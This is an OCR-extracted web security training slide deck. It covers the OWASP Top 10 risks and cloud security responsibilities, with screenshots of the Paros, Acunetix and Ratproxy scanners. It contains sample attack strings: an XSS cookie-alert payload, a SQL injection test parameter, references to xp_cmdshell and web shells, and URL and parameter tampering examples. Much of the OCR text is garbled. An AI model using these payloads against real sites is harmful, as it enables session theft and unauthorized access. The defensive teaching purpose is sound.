=  How to improve?

4. Hidden Field Manipulation




C e’ )

How’s information disclosure impact you web security?

1. Can I retrieve target’s database schema? Table name? all
column names?

2. Can I get the whole content of a table?

. . . ? — -
3. Mitigation? . —rr——— =%
Ak IEAPT ERiEER F Hif s BifI FE7TE
HTTF 255 | BET#= | AZF NET
HTTP &4-$85RErA0iET 50 8.

BETEEERER B 0T L2 thiE iR 2560488 TRL {irht=k 2 Sassmig s -

HTTF $45= AU FIEF
=| 407 &= CAWINDOWEVRelphii=Helpheomomon®d 07 hinn
=|412 &= CAWINDOW Evhelphii=Helpheomwmon®d 12 bt 0
=|414 fEE CAWINDOW EvhelphaisHelpeomwmon®d 14 bt
Soo THERIE "Tnternal Server Emror”
LS00z &= CAWINDOWEhelphii=HelpbeommondS00-12 h
o I ek g CAWIHDOW ENhelphdizHelpheomumon®500-13 h
So0:1s == CAWINDOW Ehelphdi=HelpteomumondS00-15 h
B 500100 e  Merror bt
Lol THERIE "Moot Imnplemented
=502 THE=IE "Bad Gatewars" —
[ IREEPIERE). . ] [ ERETHEREE ]
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o Commercial Web AP Scanner

o Paros

%2 Untitled Session - Paros

File Edit View Analyse Report Tools Help

(=e]lE=]

Sites

Request | Fesponse | Trap|

] Acunetix Web Vulnerability Scanner (Consultant edition) BE
File Tools Help m
|Newsean ([@ @ PE Q& O @R (W& | D
Tools E: i
| ‘ools Explorer Jil‘ macunetix m e
@ Web Vulnerability Scanner f
[ Web Scanner o i i
{3 ook Version information i
(3 Site crawler
) Target finder Acunetix Web Vulnerability Scanner
- B HTTP editor
A HITP siffer Copyright ® 2006 Acunetix f
4 HTTP fuzzer Version: 4.0
Authentication tester Build: 20060717

- @3 Reporter
-5 Compare results
=+{5) Configuration
: |3| Settings
ﬂ Scanning profiles
M) General

- E Program updates
BV o
-2 Licensing
48] Support Center
- @ How to purchase

® 2006. Allrights reserved. Acunetix Ltd

NOTE : To check for newer builds of Web Vulnerability Scanner click on General\Program updates and select "Check for updates”.

POST http:fwww. michael-test.com/sgltest asp HTTPM A i
Accept imagelgif, imagelpeq, imagelpjpeq, applicationi-ms-application, applicationind ms-xpsdocument, applicationfami+xml,
applicationfx-ms-xbap, applicationfvnd.ms-excel, applicationfnd ms-powerpoint, application/msword, applicationf-shockwave-fla
sh, **

Pro
beu

B

Jrinting

‘Adiwty window

Load module "Directory checks" ...

Load module "Text search” ...

Load module "GHDB - Google hacking database” ...
3 modules loaded,

Crawler tool initialized

£ Paros )

Version 3.2.13

Copyright (C) 2003-2005 Chinatec Technologies Company
Disclaimer: You should only use this software to test the security of your
own web application or those you are authorized to do so. parosproxy.org
takes na responsibilty for any problems in relation to running Paros against
anv anblinatinns or marhines
This program is free software; you can redistribute i andior modify it under
the terms of the Clarified Artistic License as published in the Free Software
Founciation. This program is distributed in the hope that i will be useful, hut
WITHOUT ANY WARRANTY; without even the implisd warrarty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
Clarified Artistic License for more details.
For queries please send to contact@parosproxy.org
This product includes softwares developed by the Apache Software
Founclation http: fiwww.apache.org licensed under Apache License 2.0.
HSGLDB is licensed under BSD ficense. JDIC is licensed by Sun
Microsystems, Inc under the LGPL license. The Copyrights of these
softwares helona to their resnective owners.

[CC1; NET CLR 2.0.50727; Media Center PC 5.0; In

5/3.213

-

m

" Application Log [Error Log Search Results

we Wind

3 ¥P-Hac” | & Untitled...



‘ o e bl 2o

Automated Web AP Scanneymmmz - .

& Paros Scanning Report - Windows Internet Explorer = | e |
AT £ | ChUsers\MichaelparosisessionhLatestScannedReport htm - | 4 | » | |,.."-" Live Search o ~|
BEFR J|EE BREM FEfEEW IEM  FEEEH)
@Mcﬁfee SiteAdvisor | ﬁ‘ i{Eﬁ
T BHRE |22 - | @ httpywww.. | @8 ParostERs .. | @ Paros Scanni.. | @ Paros Sca... X | i~ B -~ s~ #BEE) > 2206~ IEO~ @~
S [ hacker | +—&' F& |[F]=E - |
High (Suspicious) SQL Injection Fingerprinting
Description SQAL injection may be possible.
URL http:/fwanw_michael-test com/sqgltest asp
Parameter txtusername=wang&txtpassword=wang¥%27INJECTED PARAM
Other information ODBC
URL http:/fwanw_michael-test com/sgltest_asp
Parameter txtusername=wang¥%27INJECTED PARAMAEtxtpassword=wang
Other information ODBC
Solution Do not trust client side input even if there is client side validation_ In general,
If the input string is numeric, type check it.
If the application used JDBC, use PreparedStatement or CallableStatement with parameters passed by ™%
= |[f the application used ASP, use ADO Command Objects with strong type checking and parameterized querny.
= |f stored procedure or bind variables can be used, use it for parameter passing into guery. Do not just concatenate string into
query in the stored procedure!
Do not create dynamic SQL query by simple string concatentation.
Use minimum database user privilege for the application. This does not eliminate SQL injection but minimize its damage. Eg if
the application require reading one table only, grant such access to the application. Avoid using "sa’ or "db-owner’.
Reference & The OWASPF guide at http:/fwww_owasp.org/documentation/guide il
=k . =0 | SEEES EE ¥ v H100% ~

> = ] -
e Windo @ Downlo /= Paros 5... Microso.




MS SQL/ASP IR 9 AR ER R

7EMS SQL/SQL EEPREESD » SQL Injection FEzIEEMS SQL Server WEEHIBGFRFH [ 2 ) it o1 4
ARFAFERF + Mxp_cmdshell F + MERFLUBNRFER - REBTVRERR TERSEREAT ERHEY  BEEEDE

RESJRARES BERATEAE MR
RNEEREQMIE
pHlisNe

REERERNENNT (MRE-
Cookie + HTTPHER%) » EEHTIME
REARH  RERRUNAE

A mnu
EASQL BREES TR EE MFZEE

RAIMS SQL Injection 23 PR IREVERR  XENME R - 4Bt HEcholES » HEBAR
BHREER (EERERRHtE ' AR SR B EEAOIRAR + ISRRTTREIRSR BEAN Script BB
HAEA)

SRUANEHREZERF (10 EESEFERINIAE
L xp_cmdshell + xp_regread * MRS EE (FTP - TFTP
BREREEEERHE sp_oacreate & LR FHE) » AEER
HERRME - RASHBE BRI © EHTREEANEE RS
MSQL#TAR  MIFE m ELEE:

BRI SQLiES . &R L& \Web Shell T
";g:;:;%” T 25 xp_cmdshell B RHETREDS

ERHEST  WBTR
BRERFN I

FFGIE © 4RHRE ¢ iThome #E1H + 200849 H

www.mm.com.tw




A2 - Cross-Site Scripting - mmm .- -

. Reflected XSS, Stored XSS (aka Persistent XSS)
° Samy Worm

J Web sites compromised: FBI.gov, CNN.com, Time.com, Ebay,
Yahoo, Apple computer, Microsoft, Zdnet, Wired, and
Newsbytes

e  Top vulnerable weakness in recent years

e  Web sites vulnerable to XSS: searching page, forum,
comment, login page..

e  Cross-Site Scripting attacks
— Hoax
—  Steal user’s session Id and cookies

—  Almost full control to your browsers such as port scan,
keylogger and send requests on behave of the cient

sut ) 1 I
. N
a A




? Application with stored
‘W??P N— . - . How to Explot Hldden HEES XSS vulnerability

Attacker enters a
malicious script into a
web page that stores
the data on the server

Victim views page sees attacker proflle

v
[=
2
E)
V
(0}
v
[=
(o)
s
=

Bus. Functi

How to Exploit Hidden Fields CUStom COde

OWASP WebGoat V4 <1 H >

Script runs inside
victim’s browser with
full access to the DOM
and cookies

Script silently sends attacker Victim’s session cookie
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o Paros

Automated Web AP Scannekng... ..

XSS, CSRF

o Commercial Web AP Scanner

%2 Untitled Session - Paros

File Edit View Analyse Report Tools Help

Sites

(=e]lE=]

Request | Fesponse | Trap|

™| Acunetix Web Vulnerability Scanner (Consultant edition) =nEa
File Tools Help -
INewsean [[@ & PEQE ST |H 2|
|Tuu\s Explorer I ‘ m chneﬂx m aif
@ Web Vulnerability Scanner f
=[& Web Scanner o 7 it
) Todk Version information L
(3 Site crawler
9 Taraet finder Acunetix Web Vulnerability Scanner
- B HTTP editor
] Q HTTP sniffer Copyright ® 2006 Acunetix f
-] HTTP fuzzer Version: 4.0
- () Authentication tester _
& Rt Build: 20060717

-5 Compare results
=+{5) Configuration
: |3| Settings
ﬂ Scanning profiles
M) General

- E Program updates
BV o
-2 Licensing
48] Support Center
- @ How to purchase

NOTE : To check for newer builds of Web Vulnerability Scanner click on General\Program updates and select "Check for updates”.

POST http:fwww. michael-test.com/sgltest asp HTTPM A

sh,

Accept imagelgif, imagelpeq, imagelpjpeq, applicationi-ms-application, applicationind ms-xpsdocument, applicationfami+xml, F
applicationfx-ms-xbap, applicationfvnd.ms-excel, applicationfnd ms-powerpoint, application/msword, applicationf-shockwave-fla

Ref
Ace| T Paros )
Us

© 08 Do
o Version 3.2.13

bdu Copyright {C) 2003-2005 Chinatec Technologies Company
Disclaimer: You should only use this software to test the security of your
own web application or those you are authorized to do so. parosproxy.org

=
=

takes na responsibilty for any problems in relation to running Paros against
anv anblinatinns or marhines

This program is free software; you can redistribute i andior modify it under
the terms of the Clarified Artistic License as published in the Free Software
Founciation. This program is distributed in the hope that i will be useful, hut
WITHOUT ANY WARRANTY; without even the implisd warrarty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
Clarified Artistic License for more details.

For queries please send to contact@parosproxy.org

Raw | This product includes softwares developed by the Apache Software

Load module "Text search” ...

Load module "GHDB - Google hacking database” ...
3 modules loaded,

Crawler tool initialized

@ 2008. All rights reserved. Acunetix Ltd tinting
‘Adiwty window n |
Load module "Directory checks" ... -

Founclation http: fiwww.apache.org licensed under Apache License 2.0.
HSGLDB is licensed under BSD ficense. JDIC is licensed by Sun
Microsystems, Inc under the LGPL license. The Copyrights of these
softwares helona to their resnective owners.

-

m

[CC1; NET CLR 2.0.50727; Media Center PC 5.0; In
5/3.213

" Application Log [Error Log Search Results

we Wind

| 3 KP-Hac” | & Untitled...
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e XSS attack demo

s Use web ap scanner to find it

@ Ratproxy — semi-auto web application security
assessment tool for XSS, CRSF
- Not all of the issues reported necessarily
correspond to actual security flaws.
- Findings should be validated by manual
testing and analysis where appropriate.

‘E:

Hiory  Bookmarks  Took  Help

@‘#:’

~[r] @
Ratproxy audit report :]

aolicdls

Lljn,b =t q’)l CalliiOf Generated on: 2008/06/10 12:01
Input file- example.log
NOTE: Mot all of the issues reported necessarily correspond to
actual security flaws. Findings should be validated by manual
testing and analysis where appropriate. When in doubt, contact

Sacur T[j ﬂfOXI the author

Report risk and risk modifier designations:
o [EE0 Issue urgency i 1 {composite of impact and identification accuracy)
Non-discriminatory entry for further analysis
¢ [==he] Query parameters echoed back / not echoed in HTTP response, respectively
7 [er=d] Request URL or query data likely is / is not predictable to third parties. respectively
s [zuxh] Request requires / does not require cookie authentication, respectively

POST query with no XSRF protection o

Farameter-acoepting FOST requests ihat lack secunty lokens. Scme FOST requests change applicstion stste, snd may be vulnersble to coss-site

examples/res€es/dispatcher = 200 [view trace]

18713
. charset: uTF.s

examples/resedl/dispatcher = 280 [view trace]

charset: UTF-a

siamplas/res04l/dispatchar + 200 [view trace]

ipt, charset: UTF-2

Apache/2.0.55... @ o




Input/Output Sanitation

Use TextBox and MaxLength
Cookie encryption

O 0 0 0O

WWWwW. .com.tw

ross-Site Scripting (Server-side) Prevention

Don’t trust user input:TextBox, Url, Cookie, HTTP Header

attributes

©  Character encoding(URL Encode)
%3Cscript%3Ealert%28document.cookie%?29%3C%2Fscript%3E

©  alert(String.fromCharCode(88,83,83))

©  Writing input/Output filterin
use Web Application Firewal

<script>alert(document.cookie)
</script>

ic; is error-prone; it’s advised to
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« Compromised products come straight from
the factory

— media players and digital frames shipped with malware
have already been reported in previous years

— USB devices, while offering the convenience of quick
connectivity, are responsible for the spread of autorun
malware within networks — Conficker

— a “known good” software has an embedded malware
component
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* google chrome operating system
— no patches, small, cloud-based
— no room for multi-purpose malware

— will not completely remove the cyber;
cyberwars between hackers and vendors?
Who is gonna win?




— manipulating the connection to the
cloud

« fiddle DNS, encryption? IPv6? certificate?

— attacking the cloud itself

« DDOS (e.g. Google AppEngine), botnet
targeting clouds

« HyperVM taken down
e risk intrinsic to IaaS, PaaS, SaaS

— cloud vendor data breaches

o Go out of business? Contract terminated?
Internal breach?

SNBERE-E P

CCCCCC
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« Cloud computing and virtualization

— 61% business responders hold off cloud
computing until security risk Is resolved
— audit difficulty

* VA, PT, logging, monitoring, forensic data, incident
response and etc

— security trade-off in SPI model: SaaS, Paas,
laaS

— hypervisor safety?

« HyperVM issue, where 30,000 websites In the
United Kingdom vanished




BringlineNummaly

- Private cloud vs. public cloud
- Network level, host level and application
- Private cloud

- traditional security such as AV, HIPS, VPN (e.g. Amazon
AWS VPC), patches, secure programming and etc

- virtualization, hypervisor security
- Public cloud

- laaS, PaaS and SaaS

- virtualization, hypervisor security

Omn Premise On Premize Paas Saas

(hosted)

App

Services

Saerver LaErver Server

Storage Storage Slorage

Hethwaork Hetwork Hetwork

‘ﬂ-rg:nl::alinn

Wendor
shares has combres]
candral wikh

s e




Cloud EE%EE-EJE

- ¥ #H41SO 27002(guideline) and ITIL(ISO 20000):i& =
7T security management processes

Cloud deployment/SPI Public clouds

Software-as-a-service - Access control (partial)
(Saa$) - Monitoring system use and access
(partial)
- Incident response
Platform-as-a-service The following are limited to customer
(PaaS) applications deployed in PaaS (CSP is

responsible for the PaaS platform):

- Availability management

- Access control

« Vulnerability management

- Patch management

- Configuration management

- Incident response

- Monitoring system use and access




Infrastructure-as-a-service Private cloud:HlTRF® E_f & 14T e
(laaS) security processes:
Software-as-a-service

(Saas) - Availability management
Infrastructure-as-a-service - Access control

(laaS) « Vulnerability management

- Patch management

- Configuration management

- Incident response

- Monitoring system use and access
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CIOUd EE%-EE;'W www ETTIERY com. tw
Activites ———llaas  [Paas _ lsas

Availability - Manage VM - Manage this - Provider
Management availability with activity for responsibility
fault-tolerant applications
1.multi-tenancy™ &£ architecture deployed in the
% performance % PaaS platform (the
maintenance ¢ 4 #2557 provider is
2. > «SLA responsible for their
runtime engine and
services)

During the Term of the applicable Google Apps Agreement, the Google Apps
Covered Services web interface will be operational and available to Customer at
least 99.9% of the time in any calendar month (the “Google Apps SLA’). If
Google does not meet the Google Apps SLA, and if Customer meets its
obligations under this Google Apps SLA, Customer will be eligible to receive the
Service Credits described below.

Monthly Uptime Percentage Days of Service at no charge to Customer
< 99.9% - = 99.0% 3
< 99.0% - = 95.0% 7
< 95.0% 15
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Activities laaS PaaS SaaS

Patch and - Manage VM - Manage this - Provider
configuration image Hardening activity for responsibility
management applications

- Harden your VMs, deployed in the

applications, and PaaS platform

database using

your established - Test your

security hardening application for

process OWASP Top 10

vulnerabilities
- Manage activities
for your VMs,
database, and
applications using
your established
security
management
process
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Vulnerability - Manage OS, - Manage this - Provider
management application, activity for responsibility

and database applications

vulnerabilities deployed in the

leveraging your PaaS platform (the

established provider is

vulnerability responsible for

management their runtime

process engine and

services)



Intrusion
detection

1.84IT
RUBEIZE
LRI R RE,
Wlog,
SOC

Customer responsible for:

- Monitoring the network
interfaces of their virtual
instances

- Monitoring security

events from host intrusion
detections system

- Monitoring security

events from VM, application,
and database systems stored
in system logs

« Monitoring third-party
services that you may rely on,
e.g., data encryption

CSP responsible for:

- Monitoring intrusions of
shared network/system/
application

infrastructure, including
hypervisors; e.g., a DOS
attack on their network

Cloud EZ&H-N
Activities [laaS  [PaaS  [SaaS

~l 0

Customer responsible
for:

- Monitoring
intrusions of
applications deployed
on a PaaS Platform

CSP responsible for:

- Monitoring shared
network/system/
application/database
infrastructure,
including a PaaS
platform runtime
engine and supported
services; e.g., a
privilege

escalation attack on a
PaaS runtime engine

Customer
responsible

for:

- Monitoring
network, system,
application, and
database
intrusions



Cloud ERE®E-A
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~te

Incident Customer responsible Customer responsible for:  Customer
response for: - Informing the affected responsible
(CERT) - Responding to users (internal and for:
incidents and data external) - Informing the
1.:]ECSP- breaches on their - Responding to the affected users and
specific SLA, virtual servers incident by performing working with the
EEREEZEE - Informing the forensics and remediating CSP in remediating
41? B E#py affected users (internal  the application the incident
#iE 2% 4 data and external) of the
breachZ3& systems and CSP responsible for: CSP responsible for:
HMENE? #75 applications hosted - Notifying the customer - Notifying the
KXREeEa&HEE? onthe compromised about intrusions specific customer about
virtual servers to their applications and intrusions specific
data or when their users to their data or
are compromised when their users

are compromised
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Access - Manage network - Manage developer - Manage user
control and user access access provisioning provisioning
Management control to VM,

secure privilege - Restrict access - Restrict access
177 Bzl access to using using
cloud¥{R:& management consoles, authentication authentication
datafICIAFE=  jnstall host IDS, and methods (user- and methods (user-
=2 manage host firewall  network-based and
%’EKPE‘!E?F\E/II%eE policies controls) network-based
e G4E controls)

(de)provisionin
g, privilege 3%
KAAA
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CI I =H§ Iﬂ-l:‘ %-—::Ei_m

- Monitor the network
interfaces of your virtual
instances

Network
monitoring

- Monitor security events
monitoring from host IDSs

- Log events to a
dedicated and persistent
log server

- Monitor security events

- Provider
responsibility
(metrics not
available to
customers)

- Provider
responsibility
(metrics not
vailable to
customers)

~s0

i A R

- Provider
responsibility
(metrics not
available to
customers)

- Provider
responsibility
(metrics not
available to
customers)
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Database
monitoring

Application
monitoring

oooooooooooo

. Install database
security

monitoring tool on VMs
hosting database and log
events to a dedicated and
persistent log server

- Monitor your
application

vulnerabilities (OWASP

Top 10)

and application event

logs for
intrusions

Cloud EZ&H-N

~s0

\ U
L\

www.mm.com.tw

- Provider
responsibility
(metrics not
available to
customers)

- Monitor your
application logs
for
vulnerabilities
(may be available
via the PaaS
platform)

- Provider
responsibility
(metrics not
available to
customers)

- Provider
responsibility
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e Border attacks
— DNS, msn.com redirect; Fast-Flux
— SSL flaw
— network bluepill( A '%/ \ZEZTL)T;tx?

2 MDDoSKE&5h - 17, SB)IFME - B

BEREEMNetComm B Lz

— thoug]

days

ht to be few and far between these

.......




A3 - Broken Authenticatign, ... .
and Session Management

‘stateless” protocol

e HITPisac

« Means credentials have to go with every request
 Should use SSL for everything requiring authentication

s SeSsion management flaws

» SESSION ID used to track state since HTTP doesn’t
* and it is just as good as credentials to an attacker
« SESSION ID is typically exposed on the network, in browser, in logs, ...

== Beware the side-doors

« Change my password, remember my password, forgot my password, secret
question, logout, email address, etc...

sl 1Yypical Impact

 User accounts compromised or user sessions hijacked
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@ User sends credentials
IONID=9FA1DB9EA...

www.boi.com?JSESS

OWASPchGoatVS Site uses URL rewriting @

@ User clicks on a link to ¢
in a forum
Hacker checks referer logs on
Hacker uses JSESSIONID

and takes over victim’s
account



http://www.hacker.com/
http://www.hacker.com/

wWww. .com.tw

ing Broken Authentication an
Session Management

* Verity your architecture
— Authentication should be simple, centralized, and standardized

— Use the standard session id provided by your container
— Be sure SSL protects both credentials and session id at all times

* Verify the implementation
— Forget automated analysis approaches
— Check your SSL certificate
— Examine all the authentication-related functions
— Verify that logoff actually destroys the session
— Use OWASP’s WebScarab to test the implementation

saged I 17
= "
. A




How do you protect access to your data?

 This 1s part of enforcing proper “Authorization”, along with
AT — Failure to Restrict URL Access

A common mistake ...

* Only listing the ‘authorized’ objects for the current user, or
Hiding the object references in hidden fields

... and then not enforcing these restrictions on the server side
This is called presentation layer access control, and doesn’t work
Attacker simply tampers with parameter value

Typical Impact

« Users are able to access unauthorized files or data
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RING LINE CORPORATION

. . www Illizlllila com.tw
Insecure Direct Object References

| Online Banking | Account Summary | Checking - Microsoft Internet Explorer

: Eile Edit View Favorites Ioolsnuelp : . . Attacker notices his aCCt

i Q@Back - © - ¥ & @ - search 57 Favorites 7 = j D

https://www.online com/user?acct=6065 parameter is 6065

e r——y T =7 >0

weicome Teodorn & (KR ) @O ] ?aCCt=6065

What can our Income and Expenses from Sep 26, 2004 to Jan 16, 2005 Checking.6534

Cash Maximizer Total Costs | | v
account do Recarring Costs |11

for ',‘OU? Yariable Costs 101404 .

e . He modifies it to a nearby

Total Deposits 25331

number

$0  §2000 $4000 0000 $3,000 $10,000 $12,000 $14000 $16,000 $18,000 §20,000 $22,000 $24000

Date Descrption - Category Amount ? aCCt=6066

Nov 22,2004 Fetarest Payment Tntarest $.25 4]

Now 22, 2004 ATM Withdraval, myBank, San Rafael, CA Cash $10000( |

Now 19, 2004 ATM Withdeaval, myBank, San Francisce, CA Cash $100.00 |
Currant Balance $2,918.08

R 22
Available Balince $2200.00 Nov 16, 2004 myBank Credit Card Bill Payment Credit Card $2,853.97)

. . . ,
Transfer Funds » Nov 15, 2004 ATM Withdraval, myBank, San Rafael, €A Cash $100.00 ‘ . Attacker VleWS the V].Ctlm S
m Nov 1%, 2004 myBank Payroll Payroll 34.373'79‘ B . .
Now 10, 2004 ATM Withdravsl myBank, San Francisco, CA Cash $100.00 ‘ aCCOunt lnformatlon

Your Bills Now 4, 2004  ATM Withdraval, myBank, San Francisco, CA Cash $100.00 ’

Nov 16, 2004 SBC Phone &ill Payment € Phone $34.23

Nov 3, 2004 tyBank Cradn Card Bill Payeant Cradit Card $10,00

9999,99 :
$9999.99 due in next: Nov 1, 2004  Working Assets Bill Payment € Phone $13.57

Pay Bills Nov 1, 2004  Prudential Ingurance Bl Payment @D Insurance $435.00|

|
Nov 1, 2004  Chase Manhattan Mortgage Corp Bill Payment €2 Mortgage $2,184,42
|

Lustomer Service Privacy & Secunty Oct 29,2004 ATM Withdraval, myBank, San Francisco, CA Cash $100.00
-
Oen29 2004 mubank Pagrall Pasll £4.228.94 L7

Net Cash Flow: 6435.20

@ \@ @ Internet
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Avoiding Insecure Direct Object

References

e Eliminate the direct object reference

— Replace them with a temporary mapping value (e.g. 1, 2, 3)

— ESAPI provides support for numeric & random mappings

e http://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_A
Pl#tab=Home

¢ IntegerAccessReferenceMap & RandomAccessReferenceMap

http://app?file=Report123.xls Report123.xls

Access

Reference

http://app?id=9182374 Map Acct:9182374



http://app/?file=1
http://app/?id=7d3J93
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ross Site Request Forgery (CSﬁEF

Cross Site Request Forgery

|>
Q1

» An attack where the victim’s browser is tricked into issuing a command to a
vulnerable web application

* Vulnerability is caused by browsers automatically including user
authentication data (session ID, IP address, Windows domain credentials,
...) with each request

Imagine...

» What if a hacker could steer your mouse and get you to click on links in
your online banking application?

Typical Impact

o B-i% enE-mailig 3 2% E 2
o W1 PR AR PR 5% R AT TR AR
o BT EPALITIE B s 3 BB R iR R
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Web applications rely on a secure foundation

« All through the network and platform
* Don’t forget the development environment

sl IS YOUI SOUrce code a secret?

 Think of all the places your source code goes

CM must extend to all parts of the application

« All credentials should change in production

mamd  TYpical Impact

« Install backdoor through missing network or server patch
« XSS flaw exploits due to missing application framework patches

» Unauthorized access to default accounts, application functionality or data, or
unused but accessible functionality due to poor server configuration
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Custom Code

App Configuration

—

Framework

Development

A—l't?; -
App Server
B bt Web Server

Hardened OS ‘
v 2 / 4 Test Servers

/

A

y |
QA Servers

Insider

Source Control |

el I
: br B
B A
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Avoiding Security Misconfiguration

* Verify your system’s configuration management

— Secure configuration “hardening” guideline
e Automation is REALLY USEFUL here
— Must cover entire platform and application

— Keep up with patches for ALL components
* This includes software libraries, not just OS and Server applications

— Analyze security effects of changes
* Canyou “dump” the application configuration
— Build reporting into your process

— If you can’t verify it, it isn’t secure

* Verify the implementation
— Scanning finds generic configuration and missing patch problems

st 1 I
R
- A
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A7 - Failure to Restrict URL Accéwswis

How do you protect access to URLS (pages)?

 This 1s part of enforcing proper “authorization”, along with
A4 — Insecure Direct Object References

A common mistake ...

 Displaying only authorized links and menu choices
 This is called presentation layer access control, and doesn’t work
 Attacker simply forges direct access to ‘unauthorized’ pages

Typical Impact

 Attackers invoke functions and services they’re not authorized for
» Access other user’s accounts and data
 Perform privileged actions
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RING LINE CORPORATION

| Online Banking | Account Summary | Checking - Microsoft Internet Explorer

: Eile Edit View Favorites Tools Help

BRER ) - search <7 Favorites 2 ol ;

#5% )

e

Currant Balince

Aviilible Balince

Trans fer Fands

Your Bills

$9999,99 due in nexts

Pay Billi

LUstomer Service

Welcome Teadora im

What can our
Cash Maximizer
account do
foryou?

$2200.00

]

f WN Mave ﬁ‘(ﬂ‘ﬂi :

Ldwy | =

bl

Privacy & Sacunty

https://www.onlinebank.com/user/getAccounts

Ingome and Spanding

Top Tan Histary and Averages Categorbes

s

Income and Expenses from Sep 26, 2004 W .Jan 16, 2005

Total Costs [

Recarring Costs |11

Wariable Costs [
Fnudtnstsa 59207 58

Dats

New 22, 2004
Mow 22, 2004
Mow 19, 2004
Naw 16, 2004
Hoy 16, 2004
How 1%, 2004
How 1%, 2004
Moy 10, 2004
Moy 4, Z004
How 3, 2004
Mew I, 2004
Naw 1, 2004
Moy 1, 2004
et 29, 2004

Fuae T8 TI0NA

Total Daposits

Pkl

30

|
Descriptien Cabegory Amaeunt
Trtara £t Paymint Ietaradt $.25 [
ATH Withdrawil, myBank, San Rafial, CA Cath $100.00
ATM Withdrawal, myBank, San Francisce, CA Cash $100.,00
SBC Phone 2l Payment €I Phang 494,22
myBank Credit Card Bl Payment Credit Card £2,9%2.57
ATM Withdrawal, myBank, San Rafael, CA Cash $100,00
mibank Payrall Paymll $4,370,79
ATH Withdrawal, syBank, San Francizco, A Cath §100.00

ATH Withdrawal, sBank, Si6 Francizcs, A Cath §100.00

fipBank Crade Card Bill Payenant Crydit Card $10.00
Warking Azgars Bill Paymmant €3 Phans $13.57
Prudential Tngurance Bill Paymant B Insurance $435.00
Chase Manhaman Momgage Corp Bill Payment € Morgage $2184.42
ATM Withdraval, myBank, San Francisco, CA Cash

mbank Bawrnll Pagmll

Hok Cash Flow: 6435.20

@ @ Internet

Checking-6534

FIO00 FA000 OO0 BSO00 FI0000 $12.000 F14000 FIO000 FIS000 FIOO00 FIZO00 F24000

$100,00|
[TRECLTAM

£

WWWwW. .com.tw

Attacker notices the URL
indicates his role

/user/getAccounts

He modifies it to another
directory (role)

/admin/getAccounts, or
/manager/getAccounts

Attacker views more accounts
than just their own
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e For each URL, a site needs to do 3 things
— Restrict access to authenticated users (if not public)
— Enforce any user or role based permissions (if private)

— Completely disallow requests to unauthorized page types (e.g., contig files, log
files, source files, etc.)

e Verity your architecture
— Use a simple, positive model at every layer
— Be sure you actually have a mechanism at every layer

e Verity the implementation

— Verify that each URL in your application is protected by either

* An external filter, like Java EE web.xml or a commercial product
¢ Or internal checks in YOUR code — Use ESAPT’s isAuthorizedForURL() method

— Verify the server configuration disallows requests to unauthorized file types
— Use WebScarab or your browser to forge unauthorized requests

st 1 I
R
- A
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and Forwards

smme Ve application redirects are very common

« And frequently include user supplied parameters in the destination URL
« If they aren’t validated, attacker can send victim to a site of their choice

Forwards (aka Transfer in .NET) are common too

« They internally send the request to a new page in the same application
« Sometimes parameters define the target page

« If not validated, attacker may be able to use unvalidated forward to bypass
authentication or authorization checks

s TYypical Impact

* Redirect victim to phishing or malware site

* Attacker’s request is forwarded past security checks, allowing
unauthorized function or data access




L LLeel Unvalidated Redirect ...mmm....

@ Attacker sends attack to victim via email or webpage

From: Internal Revenue Service

Subject: Your Unclaimed Tax
Refund @ Application redirects
Our records show you have an victim to attacker’s

unclaimed federal tax refund.
Please '@ck here to initiate your

Accounts

@ Victing clicks link containing unvalidated

Administration
Transactions
Communication
Knowledge Mgmt
E-Commerce
Bus. Functions

— . Custom Code
How to Exploit Hidden Fields

OWASP WebGoat V*

Request sent to vulnerable
site, including attacker’s
destination site as
parameter. Redirect sends

victim to attacker site _|_> Evil Site |

/ @ Evil site installs malware on

victim, or phish’s for private
information



http://www.irs.gov/taxrefund/claim.jsp?year=2006&
http://www.irs.gov/taxrefund/claim.jsp?year=2006&
http://www.irs.gov/taxrefund/claim.jsp?year=2006&
http://www.irs.gov/taxrefund/claim.jsp?year=2006&

plll, . . www JEPTIERY com . tw
Avoiding Unvalidated Redirects

and Forwards

* There are a number of options
1. Avoid using redirects and forwards as much as you can
2. If used, don’t involve user parameters in defining the target URL
3. If you ‘must’ involve user parameters, then either

a) Validate each parameter to ensure its valid and authorized for the
current user, or

b) (preferred) — Use server side mapping to translate choice provided to
user with actual target page

— Defense in depth: For redirects, validate the target URL after it is
calculated to make sure it goes to an authorized external site

— ESAPI can do this for you!!
* See: SecurityWrapperResponse.sendRedirect( URL )



http://owasp-esapi-java.googlecode.com/svn/trunk_doc/org/owasp/esapi/filters/SecurityWrapperResponse.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/org/owasp/esapi/filters/SecurityWrapperResponse.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/org/owasp/esapi/filters/SecurityWrapperResponse.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/org/owasp/esapi/filters/SecurityWrapperResponse.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/org/owasp/esapi/filters/SecurityWrapperResponse.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/org/owasp/esapi/filters/SecurityWrapperResponse.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/org/owasp/esapi/filters/SecurityWrapperResponse.html
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A9 - Insecure Cryptographic Storweige

Storing sensitive data insecurely

« Failure to identify all sensitive data

« Failure to identify all the places that this sensitive data gets stored
« Databases, files, directories, log files, backups, etc.

« Failure to properly protect this data in every location

Typical Impact

« Attackers access or modify confidential or private information

* e.g, credit cards, health care records, financial data (yours or your customers)
« Attackers extract secrets to use in additional attacks
« Company embarrassment, customer dissatisfaction, and loss of trust




O

Victim enters credit
card number in form

Communicatio

Malicious insider
steals 4 million
credit card numbers

Logs are accessible to all @
members of IT staff for

debugging purposes

Custom Code

Error handler logs CC
details because merchant
gateway is unavailable

©




Avoiding Insecure Cryptographic
Verify your architecture S torage

— Identity all sensitive data
— Identity all the places that data is stored
— Ensure threat model accounts for possible attacks

Protect with appropriate mechanisms
— File encryption, database encryption, data element encryption

Use the mechanisms correctly
— Use standard strong algorithms
— Generate, distribute, and protect keys properly
— Be prepared for key change

Verity the implementation

— A standard strong algorithm is used, and it’s the proper algorithm for this
situation

— All keys, certificates, and passwords are properly stored and protected
— Safe key distribution and an effective plan for key change are in place

) suut ] I
— Analyze encryption code for common flaws m




Transmitting sensitive data insecurely

* Failure to identify all sensitive data

e Failure to identify all the places that this sensitive data is sent

